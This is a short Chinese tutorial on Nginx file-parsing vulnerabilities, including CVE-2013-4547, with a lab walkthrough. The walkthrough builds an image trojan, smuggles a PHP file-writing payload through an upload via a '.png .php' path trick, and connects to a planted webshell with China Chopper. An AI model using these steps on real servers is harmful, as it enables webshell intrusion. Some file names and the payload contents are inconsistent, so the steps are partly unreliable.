Nginx文件解析漏洞的原理与复现
一、Nginx的简介
Nginx (engine x) 是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,在BSD-like 协议下发行。其特点是占有内存少,并发能力强,事实上nginx的并发能力在同类型的网页服务器中表现较好,中国大陆使用nginx网站用户有:百度、京东、新浪、网易、腾讯、淘宝等
二、Nginx漏洞的原理
1,Nginx越界读取缓存漏洞(CVE-2017-7529) 可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。
2,Nginx 文件名逻辑漏洞(CVE-2013-4547) 主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。
3,Nginx解析漏洞复现 第3和第2都是文件解析漏洞,只是利用的方式不同,第2利用方式为:1.png.php。而第3利用方式为:1.png/.php。这样,1.png文件就会当成php文件进行解析。从而造成代码执行等。
三、Nginx漏洞的复现
11.php内容:
1.PHP内容: <?php fwrite(fopen("/var/www/html/uploadfiles/nginx1.php","w"),"")?>
1.制作图片木马,使用命令: copy nginx.png/b+1.php nginx1.png 获得图片木马nginx2.png
进入docker容器,开启响应的进程,然后上传图片码
进行抓包修改文件名
然后进行访问http://192.168.44.145:8080/uploadfiles/nginx.png .php并且抓包,
然后使用菜刀连接:http://192.168.44.145:8080/uploadfiles/nginx1.php